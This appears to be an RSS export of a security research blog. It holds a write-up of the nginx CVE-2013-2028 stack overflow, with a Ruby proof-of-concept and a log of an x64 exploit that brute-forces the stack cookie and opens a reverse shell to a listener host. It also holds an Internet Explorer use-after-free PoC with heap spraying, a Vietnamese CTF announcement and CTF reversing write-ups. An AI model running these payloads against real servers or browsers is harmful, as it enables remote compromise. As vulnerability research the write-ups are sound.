VNSECURITY / CLGT TEAM http://www.vnsecurity.net Know thy Enemy! Thu, 23 May 2013 10:13:25 +0000 http://wordpress.org/?v= en hourly 1 Analysis of nginx 1.3.9/1.4.0 stack buffer overflow and x64 exploitation (CVE-2013-2028) http://www.vnsecurity.net/2013/05/analysis-of-nginx-cve-2013-2028/ http://www.vnsecurity.net/2013/05/analysis-of-nginx-cve-2013-2028/#comments Tue, 21 May 2013 15:51:34 +0000 w00d https://vnsecurity.net/?p=1549

A few days after the release of nginx advisory (CVE-2013-2028), we managed to successfully exploit the vulnerability with a full control over the program flow. However, in order to make it more reliable and useful in real world environment, we still explored several program paths and found some other attack vectors. Since the exploit for Nginx 32-bit is available on Metasploit now, we decide to publish some of our works here. In this post, you will find a quick analysis for the vulnerability and an exploitation for a 64-bit linux server using the stack based overflow attack vector.

The Bug

Based on the patch on nginx.org, there is a code path that leads to a stack based overflow vulnerability, related to 03 different nginx components:

1) The calculation of “chunked size” when someone send a http request with the header: “Transfer-Encoding: chunked”. It is calculated at src/http/ngx_http_parse.c:2011

if (ch >= '0' && ch <= '9') {   ctx->size = ctx->size * 16 + (ch - '0');
  break;
}
c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'f') {   ctx->size = ctx->size * 16 + (c - 'a' + 10);
  break;
}

It simply parses the chunked size input as hex and convert it to base of 10. And since ctx->size is defined with size_t, an unsigned type, the value of the variable can be misinterpreted as negative number when casting to signed type, as we will see later.

2) Nginx module when serving static file:

When nginx is setup to serve static file (which is the default setting), ngx_http_static_handler in src/http/modules/ngx_http_static_module.c:49 will be executed when receiving a request.

ngx_http_static_handler will then call ngx_http_discard_request_body at src/http/modules/ngx_http_static_module.c:211.

ngx_http_discard_request_body will then call ngx_http_read_discarded_request_body at src/http/ngx_http_request_body.c:526.

In summary the code path: ngx_http_static_handler->ngx_http_discard_request_body->ngx_http_read_discarded_request_body

ngx_http_read_discarded_request_body is where it gets interesting, we can see a buffer with fixed size is defined at src/http/ngx_http_request_body.c:630 as follows:

static ngx_int_t
ngx_http_read_discarded_request_body(ngx_http_request_t *r)
{
    size_t     size;
    ssize_t    n;
    ngx_int_t  rc;
    ngx_buf_t  b;
    u_char     buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];

NGX_HTTP_DISCARD_BUFFER_SIZE is defined as 4096 in src/http/ngx_http_request.h:19

The interesting is at how this buffer is filled at src/http/ngx_http_request_body.c:649 that we shall use later in (3)

size = (size_t) ngx_min(r->headers_in.content_length_n, NGX_HTTP_DISCARD_BUFFER_SIZE);
n = r->connection->recv(r->connection, buffer, size);

3) The state transition when parsing http request

Come back to src/http/ngx_http_request_body.c, before calling ngx_http_read_discarded_request_body, nginx check whether we have a “chunked” type of request, it will then run ngx_http_discard_request_body_filter defined in src/http/ngx_http_request_body.c:680.

ngx_http_discard_request_body_filter will execute ngx_http_parse_chunked which is the code we mentioned in (1). After that, the return value in “rc” is checked with some constant to decide the next move. One of them is particularly very interesting.

if (rc == NGX_AGAIN) {
     /* set amount of data we want to see next time */
     r->headers_in.content_length_n = rb->chunked->length;
     break;
}

Suppose we can set rb->chunked->length as a very large number at (1), and then set rc = NGX_AGAIN at (3), following events will happen:

- r->headers_in.content_length_n is set to negative ( as it is defined with `off_t` which is “a signed integer” type.).

- The function ngx_http_discard_request_body_filter return and the program move to execute ngx_http_read_discarded_request_body. which contains our vulnerable buffer.

- Finally the recv() command is tricked to receive more than 4096 bytes and overflow the buffer on the stack.

There are many ways to set chunked->length, since rb->chunked->length is assigned at the end of ngx_http_parse_chunked function based on the rb->chunked->size that we have a direct control.

switch (state) {
case sw_chunk_start:
	ctx->length = 3 /* "0" LF LF */;
break;
	case sw_chunk_size:
ctx->length = 2 /* LF LF */
              + (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);

To make rc = NGX_AGAIN, we realize that for a request nginx makes the first recv with 1024 bytes, so if we send more than 1024 bytes ngx_http_parse_chunked will return with a NGX_AGAIN then when nginx tries to recv again it will be right into our setup.

The payload to overflow the stack buffer is as follows:

- Send http request with a “transfer-encoding: chunked”

- Send a large hexadecimal number to fill the entire 1024 bytes of the first read

- Send > 4096 bytes to overflow the buffer when it try to recv the second times

TL;DR ? Here is the proof of concept for x64

require 'ronin'
tcp_connect(ARGV[0],ARGV[1].to_i) { |s|
    payload = ["GET / HTTP/1.1\r\n",
            "Host: 1337.vnsecurity.net\r\n",
            "Accept: */*\r\n",
            "Transfer-Encoding: chunked\r\n\r\n"].join
    payload << "f"*(1024-payload.length-8) + "0f0f0f0f" #chunked
    payload << "A"*(4096+8) #padding
    payload << "C"*8 #cookie
    s.send(payload, 0)
}

strace output at the other end:

 strace -p 11337 -s 5000 2>&1 | grep recv
recvfrom(3, "GET / HTTP/1.1\r\nHost: 1337.vnsecurity.net\r\nAccept: */*\r\nTransfer-Encoding: chunked\r\n\r\nfff...snip..fff0f0f0f0f", 1024, 0, NULL, NULL) = 1024
recvfrom(3, "AAA..snip..AACCCCCCCC", 18446744069667229461, 0, NULL, NULL) = 4112

Exploitation on x64:

The problem of stack cookie/carnary can be overcome easily by brute-forcing byte by byte. If we send an extra byte and a worker process crashes, it will return nothing thus we know our cookie value is wrong, we try another value until we receive some output.

Then we need to bypass ASLR and DEP. The exploitation for 32-bit in the metasploit module won’t work, since it will bruteforce the libc address and it’s not feasible given the large address space in x64.

We give an exploit that only relies on the binary i.e. we build the ROP gadget from the binary. mprotect address is computed from mmap64 address (in the GOT-table) then use to allocate a writable-executable memory chunked. Then we use some ROP gadgets to copy our shellcode and have it executed by return to it finally.

TL;DR full exploit code could be find here

ruby exp-nginx.rb 1.2.3.4 4321
[+] searching for byte: 1
214
[+] searching for byte: 2
102
[+] searching for byte: 3
232
[+] searching for byte: 4
213
[+] searching for byte: 5
103
[+] searching for byte: 6
151
[+] searching for byte: 7
45
Found cookie: \x00\xd6\x66\xe8\xd5\x67\x97\x2d 8
PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT w.w.w.w 4000
1120 connections

At w.w.w.w

nc -lvvv 4000
Connection from 1.2.3.4 port 4000 [tcp/*] accepted
uname -a
Linux ip-10-80-253-191 3.2.0-40-virtual #64-Ubuntu SMP Mon Mar 25 21:42:18 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),110(netdev),111(admin)
ps aux | grep nginx
ubuntu    2920  0.1  0.0  13920   668 ?        Ss   15:11   0:01 nginx: master process ./sbin/nginx
ubuntu    5037  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
ubuntu    5039  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process
ubuntu    5041  0.0  0.0  14316  1024 ?        S    15:20   0:00 nginx: worker process

Reliable exploitation

There are some reasons that the above exploitation/technique may not work in practice:

1) Nginx uses non-blocking recv(). If we can’t send enough data to overwrite the return address/cookie the exploit will fail. This is mostly the case since the normal server will be loaded with requests from different user.

2) Our analysis here is for the default setting of nginx, the code path can be very different with another setting thus making the exploit somewhat useless.

3) A blind attack is difficult without the knowledge of the binary / OS at the remote server. For 32-bit OS, one may further bruteforce the “write” address in the code space in order to leak information but It will still be unreliable due to the unknown sockfd and will fail for PIE.

Trying to make this more practical in real world environments, we actually found another attack vector which is more reliable and worked on several nginx settings. However, we will keep it for another post.

]]>
http://www.vnsecurity.net/2013/05/analysis-of-nginx-cve-2013-2028/feed/ 0
CMarkup Use After Free Vulnerability – CVE-2012-4782 http://www.vnsecurity.net/2013/01/cmarkup-use-after-free-vulnerability-cve-2012-4782/ http://www.vnsecurity.net/2013/01/cmarkup-use-after-free-vulnerability-cve-2012-4782/#comments Thu, 10 Jan 2013 06:55:11 +0000 suto https://www.vnsecurity.net/?p=1538

Latest M$ tuesday patch kill one of my 0day in Microsoft Internet Explorer 9/10. So I decided release Proof Of Concept code and writeup some analyze about this bug. Hope it helpful.

Here is the PoC:

<!doctype html>
<html>
        <head>
                <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />
               <script>
                       function testcase(){
                                document.body.appendChild(document.createElement('progress'));
                                document.body.appendChild(document.createElement("<track style='float:right'></track>"));
                                document.body.appendChild(document.createElement('progress'));
                                document.body.appendChild(document.createElement('table'));
                                document.body.appendChild(document.createElement("<track style='float:right'></track>"));
                            document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));
                                document.getElementsByTagName('track').item(0).offsetWidth;

                                document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));
                                document.body.appendChild(document.createElement("<ins style='margin-left:2222222222px'></ins>"));

                </script>
        </head>
        <body onload='testcase();'>

        </body>
</html>

After running this html we’ve got a nice crash:
(fcc.354): Access violation - code c0000005 (!!! second chance !!!)
eax=0b7befc0 ebx=088cd6b8 ecx=0b6b2fa8 edx=00000006 esi=0b6b2fa8 edi=00000000
eip=639927e9 esp=088cd1c8 ebp=088cd1d0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
MSHTML!CTreeNode::GetFancyFormat+0xc:
639927e9 0fb74640 movzx eax,word ptr [esi+40h] ds:0023:0b6b2fe8=0000
0:017> u
MSHTML!CTreeNode::GetFancyFormat+0xc:
639927e9 0fb74640 movzx eax,word ptr [esi+40h]
639927ed 6685c0 test ax,ax

Now using my binary instrumentation framework (a PIN based instrumentation which could do things like: crash analyze, taint tracing, code coverage..), I could get the following output


Exception Point: 639927e9 0fb74640 movzx eax,word ptr [esi+40h]
Current Register:
eax:0b7befc0
esi:0b6b2fa8
Backtrace analyze:
[+]639927e7 -> esi: 0b6b2fa8 | ecx: 0b6b2fa8
[+]639927e5 -> ecx: 0b6b2fa8
[+]636c1d2d -> ecx:0b6b2fa8
[+]639ae295 -> esi: 0b6b2fa8
===================
Detect Freed Address: 0b6b2fa8 at EIP 639AE299
With param: HeapFree(150000,23,0b6b2fa8)

So it is a pretty nice Used After Free vulnerability. But what is freed?

Run the tool again, this time to collect information about Heap Allocate, I can see:

.....
Detect Heap Allocate : 638f13dc
With Param: HeapAlloc(150000, 8u, 0x54)
Return value: 0b6b2fa8

And it occur in function:
CMarkup::InsertElementInternal
So now we can use a little trick to manipulate freed address:

<!doctype html>
<html>
	<head>
		<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" />

		<script>

                function testcase(){

				var img = new Array();
				  for(var i = 0;i < 100;i++){
				  	img[i] = document.createElement('img');
				  	img[i]["src"] = "a";
				  }
				document.body.appendChild(document.createElement('progress'));
				document.body.appendChild(document.createElement("<track style='float:right'></track>"));
				document.body.appendChild(document.createElement('progress'));
				document.body.appendChild(document.createElement('table'));
				document.body.appendChild(document.createElement("<track style='float:right'></track>"));
			    document.getElementsByTagName('progress').item(0).appendChild(document.createElement('frameset'));
				document.getElementsByTagName('track').item(0).offsetWidth;

				document.getElementsByTagName('progress').item(1).appendChild(document.getElementsByTagName('track').item(0));
				document.body.appendChild(document.createElement("<ins style='margin-left:2222222222px'></ins>"));

				window.scroll(500);

				for(var j = 0;j < 99;j++){
				 	img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";}

				 }

		</script>
	</head>
	<body onload='testcase();'>

	</body>
</html>

And we’ve got:

(c10.d88): Access violation - code c0000005 (!!! second chance !!!)
eax=00000041 ebx=088cd6b8 ecx=00410041 edx=ff000000 esi=0c53efa8 edi=00000000
eip=639927ff esp=088cd1c8 ebp=088cd1d0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
MSHTML!CTreeNode::GetFancyFormat+0x1e:
639927ff 8b4a2c mov ecx,dword ptr [edx+2Ch] ds:0023:ff00002c=????????
0:017> dd esi
0c53efa8 00410041 00410041 00410041 00410041
0c53efb8 00410041 00410041 00410041 00410041
0c53efc8 00410041 00410041 00410041 00410041
0c53efd8 00410041 00410041 00410041 00410041
0c53efe8 00410041 00410041 00410041 00410041
0c53eff8 00410041 d0d00000 ???????? ????????
0c53f008 ???????? ???????? ???????? ????????
0c53f018 ???????? ???????? ???????? ????????
0:017> dd 410041
00410041 b341be78 7274f8ac 18ea3e88 3c00005c
00410051 ff000000 4dffffff cbb7a93b b0487827
00410061 ebd03627 48a7a85f 3d00005c ff000000
00410071 98ffffff 9b1b1704 a14da1bb 315fec5b
00410081 74f7c784 3e00005c ff000000 f0ffffff
00410091 0d343fb3 ae43076f 1b2599a9 a86d9aad
004100a1 3f00005c ff000000 93ffffff ddca1f10
004100b1 844c01b0 ebee76ab dc391fca 4000005c
0:017> u

Why it crashing here:

.text:639927E9 movzx eax, word ptr [esi+40h]
.text:639927ED test ax, ax
.text:639927F0 js loc_63842DAE
.text:639927F6 mov ecx, [esi+50h]
.text:639927F9 mov edx, [ecx+80h]
.text:639927FF mov ecx, [edx+2Ch]

Since we can control esi, we can force program to jump 63842DAE by changing some bytes in img.src:

..
img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";}
....


(614.fd4): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00410041 edx=b341be78 esi=088ccc00 edi=0c540fa8
eip=6383a61a esp=088ccbe0 ebp=088ccbf0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CTreeNode::ComputeFormats+0xa1:
6383a61a 8b82c4000000 mov eax,dword ptr [edx+0C4h] ds:0023:b341bf3c=????????
0:017> dd edi
0c540fa8 00410041 00410041 00410041 00410041
0c540fb8 00410041 00410041 00410041 00410041
0c540fc8 00410041 00410041 00410041 00410041
0c540fd8 00410041 00410041 00410041 00410041
0c540fe8 41418141 00410041 00410041 00410041
0c540ff8 00410041 d0d00000 ???????? ????????
0c541008 ???????? ???????? ???????? ????????
0c541018 ???????? ???????? ???????? ????????
0:017> dd ecx
00410041 b341be78 7274f8ac 18ea3e88 3c00005c
00410051 ff000000 4dffffff cbb7a93b b0487827
00410061 ebd03627 48a7a85f 3d00005c ff000000
00410071 98ffffff 9b1b1704 a14da1bb 315fec5b
00410081 74f7c784 3e00005c ff000000 f0ffffff
00410091 0d343fb3 ae43076f 1b2599a9 a86d9aad
004100a1 3f00005c ff000000 93ffffff ddca1f10
004100b1 844c01b0 ebee76ab dc391fca 4000005c

And we change edi:

img[j]["src"] = "AAAAAAAAAAAAAAAAAAAAAAAA\u5555\u5555AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\u8141\u4141AAAAAAAA";}

And Boom:

eax=00000000 ebx=00000000 ecx=55555555 edx=640386e0 esi=088ccc00 edi=0c678fa8
eip=6383a618 esp=088ccbe0 ebp=088ccbf0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
MSHTML!CTreeNode::ComputeFormats+0x9f:
6383a618 8b11 mov edx,dword ptr [ecx] ds:0023:55555555=????????
0:017> u
MSHTML!CTreeNode::ComputeFormats+0x9f:
6383a618 8b11 mov edx,dword ptr [ecx]
6383a61a 8b82c4000000 mov eax,dword ptr [edx+0C4h]
6383a620 ffd0 call eax
6383a622 8b400c mov eax,dword ptr [eax+0Ch]
6383a625 57 push edi
6383a626 893e mov dword ptr [esi],edi
6383a628 894604 mov dword ptr [esi+4],eax
6383a62b 8b0f mov ecx,dword ptr [edi]

Good luck pwner :p

]]>
http://www.vnsecurity.net/2013/01/cmarkup-use-after-free-vulnerability-cve-2012-4782/feed/ 14
Snatching The H@t http://www.vnsecurity.net/2012/11/snatching-the-hat/ http://www.vnsecurity.net/2012/11/snatching-the-hat/#comments Sun, 25 Nov 2012 03:07:15 +0000 admin https://www.vnsecurity.net/?p=1526

Snacthing the H@t

Nhận lời mời từ IDG, VNSecurity đồng ý đứng ra phối hợp tổ chức cuộc thi “Snatching the h@t” như một sự kiện trong khuôn khổ hội thảo CSO Asean năm 2012 với mong muốn giới thiệu và phát triển CTF như một hình thức học tập và thể hiện khả năng lành mạnh đến cộng đồng. VNSecurity là nhóm được biết đến rộng rãi trong giới nghiên cứu an toàn thông tin thực thụ tại Việt nam và thế giới. Các thành viên chủ chốt của nhóm là những chuyên gia uy tín về an ninh thông tin trong và ngoài nước, các kết quả nghiên cứu của họ thường được vinh danh và công bố tại nhiều cuộc hội thảo uy tín trên thế giới: Blackhat, Hitb, Pacsec, Deepsec, Syscan … Đội thi đấu CLGT của VNSecurity cũng nằm trong top những đội CTF hàng đầu trên thế giới

Về cuộc thi Snatching the h@t

Cuộc thi “Snatching the h@t” năm nay sẽ bao gồm 2 vòng: vòng loại và vòng chung kết. Vòng loại được thi đấu trực tuyến thông qua mạng Internet. Các đội đứng đầu ở vòng loại sẽ được tham gia thi đấu ở vòng chung kết tại khách sạn New World ở TP HCM. Các thông tin về cuộc thi, đơn vị bảo trợ,… xin vui lòng xem tại website của IDG tại http://cso.org.vn/contest

Hiện vòng loại của cuộc thi đang diễn ra được 1/2 thời gian với hơn 100 đội tham gia. Đội PiggyBird đến từ Hà Nội đang tạm dẫn đầu với 1800 điểm. Vòng loại dự kiến sẽ kết thúc vào lúc 09 giờ sáng thứ 2 26/11/2012, kéo dài thêm 12 tiếng so với dự kiến ban đầu do hệ thống website thi đấu bị tấn công DDoS và cần thời gian khắc phục.

Thông tin cần biết:

Về hình thức thi đấu CTF

CTF – Môn thể thao trí tuệ của giới hacker!

CTF (Capture the Flag) là một cuộc thi kiến thức chuyên sâu về bảo mật máy tính, được tổ chức theo mô hình trò chơi chiến tranh mạng, tập trung vào hai kỹ năng tấn công và phòng thủ mạng máy tính của người chơi. Các đội tham gia CTF sẽ được cấp một máy chủ (hoặc một mạng máy chủ) đã cài đặt sẵn nhiều chương trình chứa các lỗ hổng bảo mật. Nhiệm vụ của đội chơi là tìm ra các lỗ hổng đó, tấn công các máy chủ của các đội khác để ghi điểm, đồng thời phải nhanh chóng vá các lỗ hổng trên máy chủ của đội nhà, để tránh bị tấn công bởi các đội khác.

CTF hấp dẫn và thu hút giới hacker bởi lẽ các cuộc thi này phản ánh rất chân thật công việc hàng ngày và đòi hỏi người chơi phải có các kỹ năng của một hacker thực thụ. Muốn chiến thắng ở một cuộc thi CTF, người chơi không chỉ phải nhuần nhuyễn các kỹ năng phát hiện và khai thác lỗ hổng bảo mật, mà còn phải thật sự lành nghề trong việc bảo vệ sự an toàn và duy trì tính liên tục của hệ thống mạng trước các đợt tấn công dồn dập từ bên ngoài.

Với cường độ và áp lực rất cao, cho nên mặc dù thể lệ CTF thường cho phép cá nhân tham gia nhưng chiến thắng thường thuộc về các đội có nhiều thành viên có trình độ cao và có khả năng “phối hợp tác chiến” hiệu quả.

Các cuộc thi CTF ngày nay thường chia thành 3 hình thức chơi chính:

  • Tấn công & phòng thủ (attack & defence) như luật chơi cổ điển ban đầu.
  • Hình thức thứ 2 là trả lời thử thách theo từng chủ đề (Jeopardy-style). Hình thức này thông thường sẽ chia theo chủ đề được phân theo các phân mục như : Web, Forensic, Crypto, Binary, Pwnable… Ở mỗi phân mục sẽ có các câu hỏi theo độ khó tăng dần.
  • Hình thức thứ 3 là sự kết hợp của hình thức 1 và 2, chẳng hạn như kết hợp giữa hình thức chỉ có tấn công (attack only) với các dạng thử thách khác nhau. Đây cũng chính là hình thức của cuộc thi Snatching the h@t năm nay.

Việc tham gia thi đấu các kỳ CTF cũng là dịp để giúp học hỏi thêm nhiều kinh nghiệm và kiến thức bổ ích. Lịch sử CTF đã ghi nhận sự tham gia của rất nhiều hacker trẻ mà sau này đã trở thành những chuyên gia bảo mật tên tuổi trên thế giới.

]]>
http://www.vnsecurity.net/2012/11/snatching-the-hat/feed/ 0
[writeup] Hacklu 2012 – Challenge #12 – Donn Beach – (500) http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-12-donn-beach-500/ http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-12-donn-beach-500/#comments Sat, 27 Oct 2012 17:08:31 +0000 olalalili https://www.vnsecurity.net/?p=1511

The famous zombie researcher “Donn Beach” almost created an immunization
against the dipsomanie virus. This severe disease leads to the inability to
defend against Zombies, later causes a complete loss of memory and finally
turns you into one of them. Inexplicably Donn forgot where he put the
license key for his centrifuge. Provide him a new one and humanity will owe
you a debt of gratitude for fighting one of the most wicked illnesses
today.

https://ctf.fluxfingers.net/challenges/donn_beach.exe
ctf.fluxfingers.net tcp/2055

First, the executable requires you to enter a name to identify which equals to 0×4B17E245 after being hashed. You can easily bypass this step by patching, but in case you want to know the correct answer, it is DonnBeach.

Second, the executable asks for a key with format 11111111-22222222-33333333. The key and the correct name hash are passed to VM-obfuscated functions, transformed and then must equal to four constant values in order to get the flag.

After hours reversing the VM, I rebuilt the code :

unsigned char table[] =
"\x63\x7C\x77\x7B\xF2\x6B\x6F\xC5\x30\x01\x67\x2B\xFE\xD7\xAB\x76\
\xCA\x82\xC9\x7D\xFA\x59\x47\xF0\xAD\xD4\xA2\xAF\x9C\xA4\x72\xC0\
\xB7\xFD\x93\x26\x36\x3F\xF7\xCC\x34\xA5\xE5\xF1\x71\xD8\x31\x15\
\x04\xC7\x23\xC3\x18\x96\x05\x9A\x07\x12\x80\xE2\xEB\x27\xB2\x75\
\x09\x83\x2C\x1A\x1B\x6E\x5A\xA0\x52\x3B\xD6\xB3\x29\xE3\x2F\x84\
\x53\xD1\x00\xED\x20\xFC\xB1\x5B\x6A\xCB\xBE\x39\x4A\x4C\x58\xCF\
\xD0\xEF\xAA\xFB\x43\x4D\x33\x85\x45\xF9\x02\x7F\x50\x3C\x9F\xA8\
\x51\xA3\x40\x8F\x92\x9D\x38\xF5\xBC\xB6\xDA\x21\x10\xFF\xF3\xD2\
\xCD\x0C\x13\xEC\x5F\x97\x17\x44\xC4\xA7\x7E\x3D\x64\x5D\x19\x73\
\x60\x81\x4F\xDC\x22\x2A\x90\x88\x46\xEE\xB8\x14\xDE\x5E\x0B\xDB\
\xE0\x32\x3A\x0A\x49\x06\x24\x5C\xC2\xD3\xAC\x62\x91\x95\xE4\x79\
\xE7\xC8\x37\x6D\x8D\xD5\x4E\xA9\x6C\x56\xF4\xEA\x65\x7A\xAE\x08\
\xBA\x78\x25\x2E\x1C\xA6\xB4\xC6\xE8\xDD\x74\x1F\x4B\xBD\x8B\x8A\
\x70\x3E\xB5\x66\x48\x03\xF6\x0E\x61\x35\x57\xB9\x86\xC1\x1D\x9E\
\xE1\xF8\x98\x11\x69\xD9\x8E\x94\x9B\x1E\x87\xE9\xCE\x55\x28\xDF\
\x8C\xA1\x89\x0D\xBF\xE6\x42\x68\x41\x99\x2D\x0F\xB0\x54\xBB\x16";

unsigned int domap( unsigned int number )
{
  unsigned char* buffer = table;

  unsigned int pos;
  unsigned int x = 0;

  for (int i=0; i<4; i++)
  {
    unsigned int tmp = number;
    for (int j=0; j<i; j++)
      tmp = tmp >> 8;
    pos = tmp & 0xFF;
    int y = buffer[pos];
    for (int j=0; j<i; j++)
      y = y << 8;
    x = x ^ y;
  }

  return x;
}

// Name hash : t ( = 0x4B17E245 )
// Key : x-y-z
void transform(unsigned int& t, unsigned int& x, unsigned int& y, unsigned int& z)
{
  unsigned int tmp;

  for (int i=0 ; i < 2; i++)
  {
    t = domap(t);
    x = domap(x);
    y = domap(y);
    z = domap(z);

    x = (x << 8) ^ (x >> 24);
    y = (y << 16) ^ (y >> 16);
    z = (z << 24) ^ (z >> 8);

    tmp = t;
    t = t ^ x;
    x = x ^ y;
    y = y ^ z;
    z = z ^ tmp;
  }

// Require : t-x-y-z == 01020304-05060708-09101112-0D14151E
}

Looking at the code, I happily thought that the easiest option is using Z3py to solve ^0^… Unfortunately, after hours, i failed to implement the algorithm ( ok, shame on me -_- ) . Then LSE got breakthrough, i started to find another way… Doing some maths, finally I found a solution :
- Let’s call the t,x,y,z before the last xors step as t1, x1, y1, z1 and the fresh t,x,y,z as t0, x0, y0, z0.
- Assign to t1 ( or x1, y1, z1 ) a random interger, then we can compute t0, x0, y0, z0.
- There will be a conflict in our way if we assigned a wrong value, so we need to bruteforce t1 ( or x1, t1, z1 ) value.

unsigned char findchar(unsigned char x)
{
  for (int i=0; i<256; i++)
    if (table[i] == x)
    {
      return i;
    }
}

unsigned int remap(unsigned int number)
{
  unsigned int x = 0;
  unsigned char pos;
  for (int i=0; i<4; i++)
  {
    unsigned int tmp = number;
    for (int j=0; j<i; j++)
      tmp = tmp >> 8;
    pos = tmp & 0xFF;
    int y = findchar(pos);
    for (int j=0; j<i; j++)
      y = y << 8;
    x = x ^ y;
  }
  return x;
}

void solve()
{
  unsigned int x1,y1,z1,t1,x0,y0,z0,t0;

  t0 = 0xb3f0986e;

  for (unsigned int tmp = 0; tmp < 0xFFFFFFFF; tmp++)
  {
    x1 = tmp;
    y1 = 0x05060708 ^ x1;
    z1 = 0x09101112 ^ y1;
    t1 = 0x0D14151E ^ z1;

    x1 = (x1 >> 8) ^ (x1 << 24);
    y1 = (y1 >> 16) ^ (y1 << 16);
    z1 = (z1 >> 24) ^ (z1 << 8);

    x1 = remap(x1);
    y1 = remap(y1);
    z1 = remap(z1);
    t1 = remap(t1);

    x0 = t0 ^ t1;
    y0 = x0 ^ x1;
    if ((y0 ^ y1) == (t0 ^ z1))  // check if there is a conflict
    {
      z0 = y0 ^ y1;
      x0 = (x0 >> 8) ^ (x0 << 24);
      y0 = (y0 >> 16) ^ (y0 << 16);
      z0 = (z0 >> 24) ^ (z0 << 8);
      x0 = remap(x0);
      y0 = remap(y0);
      z0 = remap(z0);

      printf("%x-%x-%x", x0, y0, z0);
      break;
    }
    else
      continue;
  }
}

Running the code and I got a key after some minutes: b6b09bf0-f23daa06-ac4ee747

Submiting to server, I got this: “Gratz :) the flag is: 1h3ardul1k3mmX”.

P/S : @hacklu: I do enjoy the the Rickrolld clip… lolz…

]]>
http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-12-donn-beach-500/feed/ 0
[writeup] Hacklu 2012 – Challenge #6 – BrainGathering – (500) http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-6-braingathering-500/ http://www.vnsecurity.net/2012/10/writeup-hacklu-2012-challenge-6-braingathering-500/#comments Fri, 26 Oct 2012 07:02:04 +0000 suto https://www.vnsecurity.net/?p=1481

I did not solve this during CTF and my mistake is not using IDA to decompile since it has some obfuscate.
After CTF end, i use gdb to dump running process to binary file and
analyze it again, try to finish it.

gdb –pid [PID]
gdb>info proc
process 4660

gdb>shell cat /proc/4660/maps
08048000-0804a000 rwxp 00000000 08:03 7213513

gdb>dump out.dmp 0×08048000 0×0804a000

Load it to IDA and decompile. Basically it will loop and get an OPCODE
from static array locate at address 0×804B060, and a action defined
by that OPCODE will be run.

Just thinking a bit, when we input 0×36 bytes it will end up with a message:

==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

X) Nah, I’m going to get my brains somewhere else.

3
### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
XPLOIT DETECTED, ALTERING KILLCODE

In normal case when our string < 0×36 bytes length:

==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready.

1) Need Brainz brainz brainz, Zombie huuuungry!
2) How much longer till braaaiiiiinz?
3) Nooo more brainz! STOP THE BRAINZ!

X) Nah, I’m going to get my brains somewhere else.

3
### Warning: Only for authorized zombies ###
Please enter teh z0mb13 k1llc0d3:
hello
Comparing k1llc0d3
INVALID

==[ZOMBIE BRAIN AQUIREMENT SYSTEM]==
Automated system for braingathering ready

It continue. So i think it must be a different when this vm handle
our string. The execution flow will different in 2 cases. Let find out:

I set a breakpoint and print at 0×0804865B where it get OPCODE and put it
in to EAX register.

b *0×0804865B
commands 1
p/x $ebx
p/x $eax
continue
end

Compare 2 results I have found where the execution alter:

First one is “B”*0×36:

0×081ea147 71
0×081ea148 82
0×081ea149 14
0×081ea14a 53
0×081ea14d 81
0×081ea14e 40
0×081ea150 74
0×081ea151 41
0×081ea152 86
0×081ea153 68
0×081ea154 74
0×081ea155 58
0×081ea4f3 3d
0×081ea4f6 81
0×081ea4f7 3f
0×081ea4f9 53
0×081ea4fc 28

In normal case:

0×08515147 71
0×08515148 82
0×08515149 14
0×0851514a 53
0×0851514d 81
0×0851514e 40
0×08515150 74
0×08515151 41
0×08515152 86
0×08515153 68
0×08515154 74
0×08515155 58
0×0851531d 58
0×08519149 53
0×0851914c 53
0×0851914f 53
0×08519152 53

The address in 2 case will same at offset, so we can compare easy.
It start different when handle OPCODE 0×58.

case 0×58:
v22 = *heap1_end2;
++heap1_end2;
PC += v22;
continue;

So v22 will change flow of execution because. I want to know why this happen:

gdb>b *0×080487DE
gdb>commands 2
>p/x $ebx
>continue
>end

And i end up with


..
Breakpoint 2, 0×080487de in close@plt ()
$12 = 0×4242

Yeah, so we can control v22. Let look into hex-rays source to see why this happen:

In OPCODE 0×3F

case 0×3F:
v40 = *PC++;
v41 = v4;
READ(v40, &PC[v61], 0xFFFF – (unsigned __int16)((_WORD)heap1_end2 – (_WORD)PC));
v4 = v41;
continue;

It will read our string to PC[v61] with a size result from calculation: 0xFFFF – (unsigned __int16)((_WORD)heap1_end2 – (_WORD)PC)
